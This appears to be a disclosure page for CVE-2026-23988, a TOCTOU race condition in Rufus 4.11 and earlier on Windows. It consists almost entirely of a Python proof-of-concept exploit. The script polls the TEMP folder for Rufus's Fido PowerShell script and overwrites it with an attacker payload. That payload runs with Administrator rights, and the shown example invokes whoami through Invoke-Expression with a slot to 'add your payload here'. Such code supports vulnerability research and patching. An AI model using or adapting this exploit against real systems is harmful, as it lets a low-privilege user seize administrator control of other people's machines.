CVE-2026-23988 | Rufus TOCTOU竞态条件导致本地管理员权限提升

# CVE-2026-23988 PoC - Rufus TOCTOU Race Condition # Target: Rufus <= 4.11 on Windows # This PoC demonstrates the race condition by monitoring and replacing the Fido script import os import time import shutil import threading import subprocess TEMP_DIR = os.environ.get('TEMP', 'C:\\Users\\Public\\AppData\\Local\\Temp') FIDOSCRIPT_NAME = 'rufus_fido_script.ps1' MALICIOUS_SCRIPT = ''' # Malicious payload - executes with Administrator privileges # Add your payload here $payload = "whoami > C:\\\\temp\\\\pwned.txt" Invoke-Expression $payload ''' def monitor_and_replace(): """Monitor TEMP directory and replace the Fido script with malicious one""" target_path = os.path.join(TEMP_DIR, FIDOSCRIPT_NAME) print(f"[*] Monitoring {TEMP_DIR} for {FIDOSCRIPT_NAME}...") while True: if os.path.exists(target_path): try: # Wait for file to be fully written time.sleep(0.1) # Replace with malicious script with open(target_path, 'w') as f: f.write(MALICIOUS_SCRIPT) print("[+] Script replaced successfully!") print("[+] Payload will execute with Administrator privileges") break except PermissionError: # File still locked, retry continue time.sleep(0.05) def main(): print("=" * 60) print("CVE-2026-23988 - Rufus TOCTOU Race Condition PoC") print("=" * 60) print("\n[!] This PoC requires:") print(" 1. Rufus running with Administrator privileges") print(" 2. Low-privilege user access to the system") print(" 3. User interaction to trigger Fido script creation") print("\n[*] Starting monitor thread...") # Start monitoring in background thread monitor_thread = threading.Thread(target=monitor_and_replace, daemon=True) monitor_thread.start() print("[*] Monitor running. Waiting for Rufus to create script...") print("[*] PoC ready - integrate with actual Rufus execution") # Keep thread alive monitor_thread.join(timeout=300) if __name__ == "__main__": main()